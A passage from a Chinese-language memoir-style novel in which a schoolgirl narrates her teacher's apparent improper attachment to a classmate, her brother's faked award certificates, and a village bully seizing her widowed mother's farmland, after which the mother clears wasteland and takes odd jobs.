我经过很多天的痛苦的煎熬、挣扎,终于想明白了,为了生存,我得跟张老师投降,我得跟秦桂桂投降,我要与秦桂桂重修旧好,把手言欢,张老师爱屋及乌,说不定就会放过我了!我得给自己找条活路儿! 我选择了一个黄道吉日,踽踽独行,走进了张老师的办公室,低眉顺眼地跟他道歉了。 “张老师,对不起,是我错了。我想明白了,您也是恨铁不成钢,出于关心我,我性格确实有缺陷。”我诚挚地跟他说。 “没事!呵呵!童言无忌!”张老师不愧是风流才子,居然一下子这么轻而易举地放过了我。我心里的一块大石头落地了。 那段时间,我心里还是有些颇不平静。张老师这个老淫棍,他能跟秦桂桂说不清道不明,可见他的内心是坏透了,烂透了。我想起来刘校医说的话: “要是你去找他,他也行!” 我想到了班主任张老师那张表面斯文,其实是个斯文败类的老风流的脸。凭良心讲,秦桂桂再怎么样,她也只是个孩子。她娘是个傻子,她只靠她爹。她是一个缺爱的女孩子。她跟男性老师再怎么样,那错也在老师。而且是已婚有娃的老师!秦桂桂说到底,她其实是一个受害者!我要是但凡是那种爱吃屎的女人,我要是但凡对他风情一点,他会不会也会像个公狗一样来骚情我啊。太他妈恶心了!老娘对他才不会感兴趣呢。幸好有秦桂桂,把他这颗风骚的公狗给挡住了! 我跟秦桂桂也早就和好了。作文课上,张老师表扬作文写得好的学生。有我,也有秦桂桂。 秦桂桂把她的优秀作文给我看,她写她的父亲,张老师批改地很认真。秦桂桂写到父亲对她的疼爱,写到“我的眼里泛起了泪花”,这行字底下,是张老师用红笔打的波浪线,就是写地精彩的意思,也是表明,张老师能深刻地体会到秦桂桂彼时彼刻的心情的意思。 “我的眼里泛起了泪花”,我想张老师看到这句话的时候,不仅想到了秦桂桂的泪花,还想到了秦桂桂那双美丽、多情的大眼睛。他在这句话底下挥笔重重地划下波浪线的那一刻,也寄寓了他对秦桂桂深厚的感情。 我呸! 快放寒假了,同学们都忙着收拾东西回家了。女孩子们在宿舍的床铺上爬上爬下,忙着收拾东西。突然听人说:“张老师来了!” “他来干什么?”女生听说他来非常反感。 “谁要他来!” “他想找谁就去找谁去!别来恶心我们!” 可是张老师此行的目的很明确,他是奔着他朝思暮想的那个人来的,他才不管别人是否欢迎他呢。他四十岁的对自己的家庭早已倦怠了的头脑,已经完全被某种不可言说的情感冲昏了,他彻底冲破了世俗的偏见,他也早就压根儿不在乎别人的看法了。 张老师果然来了,我赶紧恭恭敬敬地程门立雪似的用学生之仪向老师问好:“张老师!” “哎!”张老师答应着。我现在从内到外泛着俯首称臣的光芒,张老师对我也变得很慈祥。只是张老师虽然来我们宿舍,他神情倒是异常的凄惨,他沉浸在自己的悲伤里,全身透着一股子颓丧的诗人的气息。他坐在秦桂桂的下铺的床沿儿上,低着头,唉声叹气,像是一个将要失去爹娘的孩子。 莎士比亚曾经说过:恋爱的人去赴情人的约会,像一个放学归来的儿童。可是当他和情人分别的时候,却像上学去一般满脸懊丧。 中国古代的一个大文豪江淹也说过:“黯然销魂者,惟别而已矣!” 宋代著名的大词人柳永也说过:“多情自古伤离别。” 对!对极了!张老师当时就是这个样子!他不愧是个教语文的!我们那时候还没有学什么莎士比亚,更不知道什么柳永和江淹。我的敬爱的班主任张老师,用他与女学生的不伦不类的情感,把这些个警世名言给生动地演绎了! 谢谢张老师! 是的,放寒假了,学生们都要回家了。秦桂桂要回家了。难舍!难舍!伤别离!伤别离! “张老师,过年恁回老家吧?”那些刚才骂张老师的女生跟张老师聊天。她们真会说话,我就在一边,看他们师徒说话。 “不回家!”张老师颓唐地说,张老师看起来浑身绵软无力,无法振作,我们以前从来没有看到过他这个样子。 “恁怎么不回家的,张老师!”那些女生又问。 “老家没人儿啦!”张老师双手搓搓他那张愁苦的脸说。此时此刻,张老师没了往日的威严和挺拔,他仿佛就是一个恋爱中的男生,为要与自己心爱的人儿作别而万分不舍。 张老师看起来还怪可怜的。我几乎要同情张老师了。 秦桂桂站在一旁,手扒着床上的铁栏杆,不怎么说话。 张老师走了,宿舍里的女生在床上爬着、跪着,继续收拾东西,继续骂他。 “真恶心人!” “老地‘戚里咔嚓’的!” 我妈妈把我弟弟送到山东跟着我小舅上学去了,我妈妈希望他跟着我小舅上学,能换个环境,也有人管束。但是效果适得其反。在山东,没人认识他,他充起了梁山好汉,撒漫使钱,大口吃肉,大碗喝酒,交朋友,谈恋爱,给女生写信,惹得人家父母找到学校大门口,叫他出来,要打死他。幸好有我小舅在,给他挡住了。听说那女生叫留恋,我家里还有她的照片。 那年过年的时候,我弟弟居然带来了很多奖状。我妈妈把它们一张张地都贴在墙上。 我不太相信我弟弟能得那么多张奖状,偶尔得一张还差不多,拿来七八张奖状,这个我肯定不信。我站在那里盯着墙上的那些奖状看,那上面得主的名字竟然全是用蓝色的钢笔写的:宋鸿雁。那些钢笔水淡淡的,不是很浓。不知道是我弟弟在哪里胡乱买的劣质墨水写的。看来,有些爱撒谎的人还是缺少某种智商的。因为他们不知道人无信不立,撒谎容易,但是一旦被人识破就会永远被人质疑被人瞧不起。而且,他们往往没有足够的智慧去圆谎,或者,他们内心深处的某种不真诚让他们根本没有那个耐心去认认真真地做一些事来圆他们的谎。所以,他们常常把事情掩盖地不全面,在撒谎的过程中漏了马脚,让明眼人一眼就能看出来他的破绽。 我妈妈很高兴:“鸿雁得了七八张奖状,门门都考第一!” 我猜想是我弟弟在骗我妈妈。我说:“这奖状肯定是假的。奖状上的名字不是应该用黑色的毛笔写吗。鸿雁这奖状怎么是用蓝色的钢笔写的?而且写的字体也不好看?他怎么那么能耐,一下子得了七八张奖状?中学得奖状哪有那么容易。” 我妈妈说:“谁知道来,咱也不知道真假啊。”她也不去问鸿雁,那假的奖状就那样一直贴着。 那个时候,我就没有想过,那么蹩脚的造假,我精明强干的妈妈怎么就看不出破绽的?她是太爱她的儿子了。因为爱,所以无条件地相信。她也是太希望她的儿子优秀了,所以,即使是假的,她也愿意相信是真的。说不定,等月梅他们两口子还有我二大娘来我家的时候,看到墙上的那些奖状,问起来,我妈妈还会很骄傲地跟人家炫耀呢。她肯定会这样做的。她是很骄傲的,她的儿子也太久没有给过她任何骄傲了。她的儿子这回通过造假,能让她骄傲一把,那也是好的。反正别人又不知道。 我弟弟回趟家,也在家里大大方方地谈留恋。 “留恋跟我说,她嫂子一点不值钱,才要了五千块钱的彩礼!”我弟弟说。 “你看,小女孩儿找婆家不能不要彩礼,否则,人家婆家不但不感激,人家还得说不值钱!”我妈妈说。 “留恋不会跟咱家要彩礼了,你不是说她又跟旁人好了吗。”我妹妹说。 “她想跟我,我还不稀罕她来。”我弟弟吹牛说。 “你以后可别谈恋爱了。”我妈妈说,“人家父母都找到恁学校里去了。要不是有恁舅,人家父母得打你。” “俺舅后来说的,‘俺外甥哪里孬的,我看她要是跟了俺外甥还不错来!’”我弟弟说。 “你后来又见过留恋吗?”我妈妈说。 “我后来跟俺那些弟兄们一块儿吃饭,留恋也在,她给我倒了一杯酒,我不接,她就脸红了!别人也知道是怎么回事儿,都不吭声儿!”我弟弟说着这些,好像都是他的本事。他不知道,他在外面大碗喝酒大块吃肉的时候,他的行为早已背离了一个初中生的准则和一个贫困生的标准。我的弟弟就是在那个时候在堕落的路上渐行渐远一去不复返了。 24. 大恶心家的桃树、我妈妈在苗圃 1.大恶心家的桃树 春天,我妈妈带着我们上山薅草。小路两旁的地里种着山芋,山芋秧子拖到路上。不小心就会踩到它们的头。路两边的草丛都挂着露水,像是一簇簇细小的软针一样,从你的脚面子上擦过去,蹭地你的脚面子发痒,把你的鞋面儿都给蹭上了一层泥水子。这一切,都是不太美好的感觉。我对这儿的风景是没有感情的。我妈妈好像生来对土地就有感情。她笑盈盈地看着这地、这庄稼,嘴里唱起了歌儿: “主席的书,我们最爱读,千遍呀万遍呀下功夫。好像那麦地里,下了几尺雨,小麦子盖上了雨水珠。毛主席语录,滋养了我呀啊,干起革命尽头足!” 我听着她唱这首歌,脸上讪讪地笑着。这首歌是她在我年幼的时候,教给我的。我们家三个小孩儿都会唱。这首歌曾经带给我多少快乐。陪我度过多少无忧无虑的幼年时光。越是幼稚的年纪,越是昂扬。可是现在,我站在异乡的土地上,尝过了生活太多的滋味儿,落在心里的东西很沉,所以不能真地高兴起来,变得不爱唱歌,不爱欢笑了。 只有我的小妹妹,她还是像从前爱唱爱跳,一样没心没肺。她跟着我妈妈一起唱歌,唱的比我妈妈还要高兴。 太阳升起来了,我妈妈带着我们去西山头上的一个看山的小屋旁边,靠着它的山墙,坐着歇息。我们的脚底下,不远处的花生地里,一群花花绿绿的男男女女还在像工蚁一样忙来忙去。 “那都是给主干活儿的人。都是信主的人。”我妈妈笑着说,“她们一起出钱给主种花生,给主收花生。” “她们自己家里没有地吗?”我问。 “都是四外庄上的,哪家没有地哎。”我妈妈说。 “那她自己家不要种地啊!”我说。 “那说给主种,那就得先给主种啊!主说什么是什么啊。” 我妈妈说。 “她们晌午怎么吃饭啊?”我问。 “晌午就一块儿买了菜,去离地近的家里做饭,一块儿吃。上回就搁恁二大娘家里吃的。”我妈妈说。 “那些人为什么信主啊?”我问。 “可多人都是身体不好。”我妈妈说。 “那她身体不好,还跑山上干活儿啊?”我说。 “谁知道来,一给主干活儿,就有劲儿了。”我妈妈说。 我放学回家,走到凡庄庄前。庄前一片空地,里头长满了齐腰高的蒿子。我妈妈指着那片地说:“都是添腚眼子拉风箱的,自己好好的地不种,都给大恶心了。大恶心要搁这种桃树。” “人家都是自动给大恶心的吗,大蒜恁么贵,他们怎么舍得的?”我说。 我妈妈说:“大恶心去问人家要地,有的要拉风箱,有的不敢不给。” 我说:“这么大的一块地,要是种大蒜,一年收入多少钱啊。他们给了大恶心,自己一家子还靠什么生活啊?” 我妈妈说:“这谁知道啊。” 我说:“可能人家有钱。” 我妈妈说:“都是靠种二亩地,有什么钱。” 我说:“难道大恶心给他们什么补贴?” 我妈妈说:“地是长远的,一亩地的大蒜,行情好了,一年收入多少钱?大恶心本儿都没有呢?他能给人家什么补贴?” 我说:“那咱家的地还保得住吗?” 我妈妈说:“咱家就这一块好地。咱家本来地就少,把地给他了,恁姊妹几个怎么上学了?不能给他!” 过了几天,大恶心来我家了。 他说:“三姐!我想种个桃园,恁家南湖那块地能给我吧?” 我妈妈说:“兄弟,三姐就这一块好地。给了你,三姐,还有三个小孩,靠什么生活呢?” 大恶心说:“三姐,不瞒你说,人家那些种地大户,都是主动地把地给我,支持我创业,我蛮感动的,人家的格局真大。三姐恁一向通情达理,恁要是能把这块地给兄弟,兄弟感激不尽!” 我妈妈说:“兄弟,俺三个小孩要吃饭,还要上学。你对三姐说,这块地给了你,三姐拿什么养活三个小孩儿?” 大恶心说:“三姐,每年市场行情不一样。我也不可能年年种桃。我要是种不下去了,我要那些地干什么啊?我肯定再还给你啊。” 我妈妈疑惑地说:“等你以后不种桃了,还能把地还给我吗?” 大恶心睁大眼睛挑起眉毛说:“可以啊!” 我妈妈还是不肯松口,低着头不说话。 大恶心说:“说实话,我搁旁人那做工作,都蛮顺利的。没想到三姐居然难为兄弟了。恁家地少也是事实。这样吧,西山头不是有很多荒地吗?你去开荒吧。我跟俺哥说说。你去开荒,以后就是恁家的地了。” 我妈妈说:“兄弟,西山头离俺家多远了?我要是去西山头种地,路恁么远,晌午头儿都舍不得回家吃饭。再说了,西山头地土不好,人家都搁那儿种山芋,种棉花,种花生,没有搁那儿种大蒜的。那些荒地里头都是酸枣子圪针,就算我能开出来,俺搁里头种上大蒜,这样的荒地,能种成什么样儿呢?俺娘儿四个就靠这二亩地吃饭,种不出大蒜来,俺娘四个吃什么喝什么?” 大恶心说:“三姐。你不能只顾自己的小家,你要考虑一下大家。你看,我搁咱凡庄种个桃园,开个花儿,结个朵儿,四外庄上的人都来参观咱凡庄的桃园,看桃花,摘桃子,你说美观不美观?也给咱凡庄扬名!人家那几家子都把地给我了,都蛮好说话的。怎么就三姐那么难说话呢?三姐这也太不讲大事了!心广天地宽!咱为人处事不能恁么自私!” 我妈妈说:“兄弟啊,上有青天下有地。当中有鲜亮的儿女。我要是有意地为难你吧,让我咔嚓就死。兄弟啊,人家家里地多,多一亩少一亩不在乎,可是三姐不一样。三姐家地少,就指望这二亩地吃饭的。三姐实在是不敢动这个地啊。” 大恶心生气了,他说:“三姐。我觉得,我好话都说的有点多了。我好说歹说地,你怎么就是不开窍儿的呢?哪是我逼你的?是你自己想不开,心态摆不平,放不正!你怪谁?我种桃园不是为了我自己,往小里说,这是我态度积极。往大里说,我是为了凡庄!你看看咱凡庄,现在家家户户也就是种个大蒜,哪有什么新鲜玩意儿?现在我来创业种桃,在咱凡庄来说,那是开天辟地头一份儿!我是在改写凡庄的历史,这是功德无量的事儿!三姐怎么能阻碍我呢?” 我妈妈说:“大兄弟啊,你想种桃,那是你有本事,三姐只会种大蒜。这块地,三姐种了五六年了,三姐对这块地都有感情了。三姐确实舍不得啊。” 大恶心鼻子里“哼”了一声说:“你种地!你种地什么地!你也说你会种地!你连此地人都不是,你还说,你会种地!你要是不拾俺三婶子的地,你凭什么种上大蒜!要不是凡庄收留你,你上哪种地去!” 我妈妈说:“兄弟,地是俺三姑给我的。不是我抢来偷来的。我种的是俺三姑的地。” 大恶心说:“三姐,俺三婶子已经过世了。俺三婶子无儿无女,要是说种,也得归姓凡的种,你怎么好说这地是你的?” 我妈妈说:“俺三姑在的时候,这块地就一直是荒着的,根本没有人种。兄弟你也知道,前些年大蒜行情也是不好,有的时候才几分钱斤,有人拉着一车大蒜快走到青羊山了,一问大蒜才几分钱斤,气地直接把一车蒜都倒到路旁沟里去了。有的种蒜大户折了本儿,跳楼的跳楼,喝药的喝药。俺三姑的地里全长着蒿子。我来了,俺三姑才让我拾掇拾掇种的。要不我也争不过姓凡的。这块地,我调理了五六年,收拾好了,这几年大蒜行情才刚好一点。俺三个孩子还小,还要靠这块地吃饭上学,你给我几年时间,等俺孩子长大成人,恁再来把这块地要去也不晚!” 大恶心说:“你连姓凡的都不是的,你一个外地人,你有什么资格来种这个地!这个地就是归我了,你行也得行,不行也得行!咱看看到时候,是你种还是我种。你前脚种上蒜,我后脚来种桃。你给我动一动?你试试!你要是再跟我倒腾,我跟俺哥说说,我让你搁西山头开荒的资格都没有!我让你连荒地都种不成!到时候,你就天天闲着干瞪眼!我看看你还吃什么喝什么!你就等着喝西北风儿吧!” 大恶心气呼呼地走了,我妈妈收拾起镰刀,背起粪箕子回家去。她还要给她的孩子们烧饭,外面有些阴天,灶塘里的柴火不够干,一股子蓝白色的浓烟从灶塘里冒出来,把我妈妈呛地直流眼泪。火苗终于是窜出来了,红红的火苗子映着我妈妈的脸。 “妈,咱家那块地被大恶心要去了?咱以后都种不上了?”我问我妈妈。 “嗯。人家是姓凡的,能不给人家吗?”我妈妈说。 “那俺以后上学怎么办了?”我问。 “恁好好上学是的。恁妈就是砸锅卖铁,拉着要饭棍,也得供恁上学。好好上学,学文化,文化装搁自己肚子里,谁也抢不走。恁光说我不理持家的,就咱家,我理持再好有什么用?咱家这地盘儿,早晚是姓凡的。咱搁这儿蹲不住。所以我不想理持。我早就跟恁说过,恁要好好上学,恁上好了学,都搁外头工作,就不要受姓凡的气了。” 我说:“妈妈,你种地恁么辛苦,都是为了俺姊妹几个。” 我妈妈说:“老农民,不种地干嘛啊。我自己也得吃啊。” 我妈妈用铁叉子捅着灶膛里的柴火。火渐渐地旺了起来,照在我妈妈的脸上。 我妈妈的右边腮帮子上,有一个浅浅的伤痕,不仔细看还以为是一个酒窝。那是我妈妈小的时候,一时惹得我姥娘不高兴,我姥娘拿剪刀朝我妈妈脸上狠狠地掷过来,把我妈妈的脸刺破了。从此,我妈妈脸上就留下了一道伤痕。那伤痕就这样一直跟着她。像被发配的人,脸上留下的金印。 我妈妈被发配了,因为我妈妈当然争不过大恶心,她被发配到了西山头,她要从头开始,一橛头一铁锨地去开垦那片荒地。 我妈妈丝毫没有犹豫。第二天,西山头的太阳还没有起床,她就扛起镢头,拿着镰刀朝山上走去。她不能拖延,她怕自己没有饭吃,她更怕自己的孩子没有饭吃。她要活命。这件事儿早就传遍了凡庄。人都知道周玉梅家的地给了大恶心。最关键的是,周玉梅家只有这一块好地呢。 近亭跟月梅又来我家了。月梅还是那样,无论什么时候都笑嘻嘻地。不说话,也说不出话。近亭也是跟以前一样,六十多了,敞着白色的的确良褂子,露出里头蓝色的背心,光光的头顶上还有几根头发。不知道为什么,我觉得近亭的样子有点像我爷爷。 近亭跟我妈妈说:“三姑,这回恁家的地也给了大恶心了。” 我妈妈说:“是的。人家是姓凡的,咱争不过人家。咱能拿鸡蛋跟石头碰嘛。” 近亭说:“俺家南湖那块地也给他了。不给他能管吗?好在我本来就身体不好,不能种地。” 我妈妈说:“恁大哥,你看看俺,俺守着这三个孩子!俺说什么!”我妈妈说着掉下眼泪来。 月梅还是笑嘻嘻地看着我妈妈:“哎!哎!”她逗着我妈妈,意思是你不要难过。 近亭说:“大恶心这个人,太毒辣了。做事赶尽杀绝的。” 我妈妈说:“量小非君子,无毒不丈夫。人家够毒才能干成事儿哎。像咱这样的无才拉用的,光善良什么用哎。善良又不能吃不能喝。” 近亭说:“人心肠太阴,做事儿太绝,不会有好报的。老天会照应他的。” 我妈妈说:“老天,老天搁哪来?” 近亭说:“大恶心就仗着他老岳家那股子风儿,要不是仗着他老岳家有后台,他凭什么搁凡庄上横横的?” 我妈妈说:“没办法,人家得人儿,占贤。咱弄不过人家。” 近亭说:“咱是弄不过人家。小芹娘的舅有本事,差点儿把凡乐跟她通奸的事儿改成□□。” 我妈妈说:“话不穿六耳。可别出去说,恁大哥。说了,大恶心打人。谁不怕打啊,打在身上生疼。” 近亭说:“他打呗,谁怕他打的?他打就让他打,他打死就打死,他打不死他得养着我。我是姓孙的,我在凡庄就是一个孙子。他打我,我是打不过。可是我心里瞧不起他。别给我搁那横横的,跟个人似的。他是怎么回事儿,旁人心里都明白儿的。” 我妈妈说:“有钱的王八坐上席,没钱的君子干发急。谁让咱没钱没势的。” 近亭不说话,闷了一会儿,他说:“三姑,西山头有欢狗子,还有茂猴子,你去种地要小心一点。” 我妈妈说:“现在还有茂猴子吗?” 近亭说:“有人见过。以前经常有人去打欢狗子,回来烧欢狗子汤,搁全庄上卖。人都端着碗去买。” 我很好奇,我问近亭:“欢狗子汤是什么味儿?” 近亭说:“欢狗子跟猪肉样。” 我妈妈不太相信近亭的话,她每天还是起地早早地去西山头。这天早上,我妈妈一个人走到苹果园。苹果园的地里一棵树下,仿佛有一个人。这一大早上,是谁在地里干活呢。难道还有人比我起的更早?我妈妈心里纳闷,就走过去,看个究竟。这一看不得了,简直是让人魂飞魄散。一个人吊在树上,没了气息。我妈妈吓得赶紧往前跑。 前面就是西山头了。我妈妈来到西山头山底下,影影绰绰地看到有两个小狗儿似的动物在咬架玩儿。是两只野狗吗?还是茂猴子呢,想到这儿,我妈妈不敢上前去了。就这样前不着村后不着店地,战战兢兢地在那里侯着。等那两只狗一样的东西走远了,天也大亮了,我妈妈才到西山头开始开荒。 我妈妈每天扛着镢头、挠钩上山开荒。那些荒地上的酸枣子圪针太多了,有的都有一人高,没有人管没有人问的,一棵棵,一窝窝的,像是小松树一样疯长。我妈妈每次回到家,我都看到她的胳膊上划了一道道的血口子。 我说:“妈妈,你不能戴个套袖吗?” “戴什么套袖的!庄稼人,爱惜皮肉就不要吃饭喽!这点儿伤算什么啊!春天上天旱,我给立围子恁大姨浇地的时候,我跟着捋水管子,那水管子多沉了。地里的豆茬都把我的脚给扎淌血了。恁大姨还想充好人,她旁边的一块地,我都不认得人家,恁大姨还想让我去给人家浇。” “我摘了可多酸枣子了,你吃吧?”我妈妈说。 “吃!”我说。 我走到那筐子酸枣跟前,看着那些红艳艳的酸枣子说:“妈妈,你怎么摘了恁么多酸枣子的?” 我妈妈说:“我哪是摘的!我是打的!我拿着杆子张着粪箕子打的。你看打下来多少?” 我说:“我还当是你摘的来。你怎么打恁么多的?” 我妈妈说:“山上酸枣子树多。你吃吧,吃完,把核吐了,堆到一边儿。酸枣子核儿能卖钱。” “恁么多酸枣子,怎么一个个把核儿弄出来呢?”我问妈妈。 我妈妈说:“搁一段时间,捂捂,等把它捂烂了,拿到河里淘淘就行了。酸枣子核儿蛮贵的。你上学的时候带点儿,给恁同学吃。” “给她们吃了,她们就不把核儿留下来了。我不带。”我说。 “那怕什么的?你有好的同学,带点儿给她们吃。”我妈妈说。 “不带。带旁的也不带它。”我说。 是的,不带它。这些酸枣子是我妈妈摘的,妈妈摘酸枣子摘地那么辛苦,我不带去学校炫耀了。 经过我妈妈一天天地开荒,我们家,竟然又多出不少地来。尽管那是从未被人调理过的土地,可是,那毕竟是土地,可以种大蒜,还可以种大豆、玉米和山芋,还不用担心被谁给抢了去。不是被逼到无路可走,哪里能开出新的路来呀。 秋天,人家开始种蒜了。我妈妈也种蒜。她把地边边、沟堰堰上全都种上了大蒜。路过的人跟我妈妈开玩笑说:“三姐。今年大蒜要是行情好,恁家可得是大丰收啊。” 我妈妈说:“我家地土儿不行,都是拔了酸枣子种的。没有粪水,没有化肥,能不能种出蒜来,还难说,我只能这样,尽我的力。” 清明节前后,我妈妈上山,在地头上点绿豆。我家地旁边,不知道什么时候,又多了一座新坟。一个老大爷扛着铁锨来添坟。老大爷添完坟,坐在坟子旁边的地头上独自掉眼泪。 我妈妈看见了,问老大爷说:“大爷,这是恁家的哪个亲人啊?” 老大爷说:“是俺儿!” 我妈妈说:“是恁儿啊。那他还年轻,可怜!家里还有孩子吧!” 老大爷说:“是的。有一个小孙子。” 我妈妈说:“那就好!大爷!恁好好看着小孙子长大成才,那是恁的根儿,等他长大了,一样地报效恁!” 老大爷说:“是的!” 我妈妈说:“恁家大哥是怎么回事儿啊?” 老大爷说:“他以前当区长,后来不知道怎么回事,老是鼻子出血,他也没当回事儿。后来才检查出来,是白血病。就这样死了。还不到四十……”老大爷说不下去了,低下头去擦眼泪。 我妈妈也掉下眼泪来! 她跟老大爷说:“可怜!俺丈夫也是死地早!他死地时候才三十六岁。” 老大爷说:“恁家几个小孩儿啊?” “俺家三个小孩,大爷。”我妈妈说。 老大爷说:“哎!恁比俺家更难。看着三个小孩儿好好过。熬过来,就有出头之日了。老天饿不死瞎鹰。” “是的,大爷。”我妈妈说,“老天保佑保佑多保佑!咱好好行好,多做善事,老天会保佑咱的!” 五月,家家户户开始收蒜了。我妈妈也开始收蒜。人家在湖地里种的蒜,又白又胖,蒜瓣儿又多。我家在山地里种的蒜,又小又瘦,干瘪瘪,很多还是独头蒜。我妈妈知道,今年的收成,比起去年,算是不行了。我妈妈也不吭声儿,低着头,一铲子一铲子地收蒜。 大恶心端着水杯子顺着田埂子爬到山上来了。 山上干活儿的人都问他:“大恶心,恁家的桃什么时候种啊?” “大恶心,什么时候能吃上你种的大桃啊?” 大恶心笑笑说:“不急!不急!放心,早晚让众人们吃上我种的大桃!” 大恶心朝我家走过来了,我妈妈低着头继续收蒜。大恶心来到我家的荒地里,弯腰捡起一坨蒜:“三姐,恁家的蒜怎么恁么小的!啧啧啧!你看看!全是独坨蒜。我就说吧,三姐!你不是此地人,不会种蒜,你种不好蒜。论种大蒜,还得是俺本地人。哎!你想想,人家种蒜都种了几辈子了,你一个外地人,能种的过人家吗?跟人家多学习学习,让他们教教你。” 我妈妈说:“兄弟,你怎么能光说我的蒜小,不看看我的地土儿的?我南湖那块湖地不是给你种桃了吗?我在西山头开荒种的蒜,没有粪水,没有经过调理,跟人家搁南湖种的蒜能一样吗?” 大恶心说:“三姐!你不要激动。会不会种蒜,不是你说的算的。要用事实说话。你看看,你的蒜就是比旁人的蒜小啊?你最起码的,你种的蒜要跟旁人的差不多吧?” 我妈妈说:“兄弟。我的地土儿比旁人的差,我的蒜怎能跟别人一样大?你说这话还有天理吗?你要是说我种的蒜小,我也承认。但是话说回来,我的蒜小,是因为我的地土儿不好。你把最孬的地土儿给我种蒜,怎么还能说我不会种蒜的?我怎么不会种蒜的?俺家祖祖辈辈都是老农民,俺苍山大蒜搁全国那是有名的。你说我不会种蒜?我不承认!就是玉皇大帝说我不会种蒜,我也是不能承认!” 大恶心说:“你看看,你就是嘴硬。蒜好不好,用事实说话。哎!你种的蒜就是比旁人种的差。你也不会管理。来!你自己看看,你是怎么管理的?你这地里,野兔子乱窜,把蒜苗子都咬断了,你也没本事管好。” 我妈妈说:“野兔子乱窜是我能管好的?要不是你把我南湖那块地给我拿走,我能搁山上种蒜吗?我要是不搁山上种蒜,不就没有野兔子啃俺的蒜了了吗?” 大恶心说:“三姐,你看你,不光年纪大了,怨气还恁么大的?不要老是抱怨,我就不喜欢爱抱怨的人,一身负能量,这种人我都离她远远地。种哪块地不是种?你不要怪这个怪那个。都怪你自己心态不好。心胸狭窄。” 我妈妈说:“我怨气大啊,那是因为俺日子过地难,俺吃亏吃地厉害。俺要是天天高高在上,不愁吃不愁喝,俺也知道天天乐陶陶的,恣呶呶的。” 大恶心说:“你哪是吃亏啊,你那是没有能力!南湖的地给我种,我一年到头儿,弄个种植能手儿,大红绶带往我身上一披,多好看!你有那本事吗?你就知道种蒜,不知道变通。原来种什么,现在还是种什么,原来怎么种,现在还是怎么种。你就没那个脑壳儿。这叫优胜劣汰。你知道吗?” 我妈妈说:“俺是没那个脑壳,俺也不知道什么是优胜劣汰。俺就知道俺那块湖地给你拿去了,俺自己开出来块山地来,你还说俺不会种蒜。” 大恶心说:“你有地种就不错了!三条腿儿的□□不好找,两条腿儿的种地的到处都是。荒地不想种?马上大蒜行情越来越好,多少人抢着种大蒜,到时候,你连荒地都没得种!地球离开谁都会转。不是庄上给你地种,你自己有什么?徐达厉害吧,要不是朱元璋用了他,他能成为长胜将军吗?张飞厉害吗?要不是刘备重用他,他能成为一代武将吗?” 我妈妈说:“嗯,道理都搁你嘴里,俺还说什么呢。你说什么就是什么吧。天要黑了,我得回家给俺孩子做饭了。” 冬天,地里冻上了。我妈妈又跟人家学了编椅子。她买了一捆捆深棕色的牛皮条,在东屋当门里铺了层垫子。我妈妈每天吃完了饭,就开始编椅子。我放了寒假,看见妈妈在编椅子,还很惊讶。 我说:“妈妈,你什么时候学的编椅子?” 我妈妈说:“我那天去赶集,看见人家有编椅子的,我跟人家学的。” 我说:“你编好了拿去卖吗?” 我妈妈说:“人家给我配好料子,我拿回来编,编好了再给人家,人家按个儿给我算钱。一个椅子十二块钱。” 我看我妈妈就穿了米米给我的那件军绿色的小袄儿。我就问她:“天恁么冷。你穿地恁么少,不冷吗?” 我妈妈说:“我编椅子,活动来活动去,一点儿不冷。你看,我怕冻着腰,我腰上还绑了一个小垫子呢。这个活儿轻松,有时间就多编一个,没时间就少编一个。吃完饭没事儿干什么去哎,活动活动编出个椅子来,反正够咱一天吃煎饼的哎。” 我说:“妈,我看这活儿蛮好玩的。回头我也跟你学学。帮着你编。” 我妈妈说:“你不要学了。” 我说:“我就学学怕什么的,你不是说艺多不压身嘛。” 我妈妈说:“俺开春就不编这个了。俺去苗圃干活儿去了。” 我说:“哪个苗圃?” 我妈妈说:“就是青羊山初中部的苗圃。俺去那里干去了。那里干活儿也轻快,一天能挣二十五块钱。有时间就去,没时间就不去。一个半天就能挣十二块钱。比干这个划算。” 我说:“谁给你找的这个活儿啊?” 我妈妈说:“恁青菜市里的奶奶给俺找的。” 我说:“哪个青菜市里的奶奶啊?” 我妈妈说:“俺去青菜市里卖菜认识的一位老大娘。我蹲搁她门口儿卖菜。她开门儿出来,看到我穿地破衣烂衫,又冻又饿的,她就喊我去她家里,又给我饭吃,又挑了几件子衣裳给我。俺既然知道人家的门儿了,这以后咱家有什么稀罕物儿,俺也让恁小弟小妹给恁奶奶送去。” 我说:“我还不知道来,你还搁青羊山认识一个老大娘。” 我妈妈说:“人家恁这个奶奶家的老头儿,就搁恁学校西边儿修洋车子,说不定还认得你呢。” 我说:“哦,就是搁一棵小槐树底下修车子的那个小老头儿啊。长得高高的瘦瘦的,弯腰驼背的。” 我妈妈说:“哎,是的,就是他。” 我说:“大夏天的,经常看他光着膀子,弯着腰,搁大集上修自行车。” 我妈妈说:“你可不要小看那个小老头儿,人家知书达理的,说话可有才分了。人家看咱家庭穷,跟我说的,‘恁姐,你不要难过,要化悲痛为力量!’” 我听了这句话,觉得耳熟能详。是的,化悲痛为力量。可是当时,在我们那样的家里,我知道悲痛,却看不到力量。 2.我妈妈在苗圃 苗圃的带头人是老蔡。 给苗圃里干活儿的工人做饭的女人是老唐。老唐精明强干,两只单眼皮的小眼睛呈倒八字形分开在头顶上,精光闪闪。 老唐的丈夫叫老罗。老罗是个老实人。 老唐不在苗圃干活儿,专门给干活儿的人做饭,风不打头,雨不打脸,能有这样的待遇,看来身手不凡。常常,我妈妈看见老唐衣袂飘飘地从炊事棚里走出来泼水,那感觉,对我妈妈来说,就像仙女下了凡。 老唐在苗圃里的地位首屈一指,在金字塔的最顶端,高高在上。而我妈妈,一个新来的,在苗圃的金字塔的最底端,低低在下。 这天收工以后,老蔡提议去KTV高歌一曲,外加舞蹈一番。我妈妈是一个农民,从来没有去过KTV,也不知道KTV是个啥地方,也稀里糊涂地跟着众人去了。那家KTV坐落在一个高台上,并不十分气派宽敞。里面当然是霓虹闪烁,让我妈妈这个扎根于土地的人一阵子眩晕。 老蔡首先冲上去跳舞了,老唐当仁不让地同他一起跳。 老梁说:“老蔡爱跳舞。” 老唐说:“我是最近才学的,跳舞是好的,锻炼身体。” 老梁上去唱歌了,老梁是老蔡的本家大哥,是个厚道人。那是我妈妈这辈子第一次在那种场合听别人唱歌。 “浏阳河,弯过了几道弯,几十里水路到湘江。江边有个什么县哪,出了个什么人,领导人民得解放啊依呀依子哟。”老梁扯着没有气力的嗓子唱着。 “咳咳咳——,不行,咳嗽,唱不动了。”老梁说。 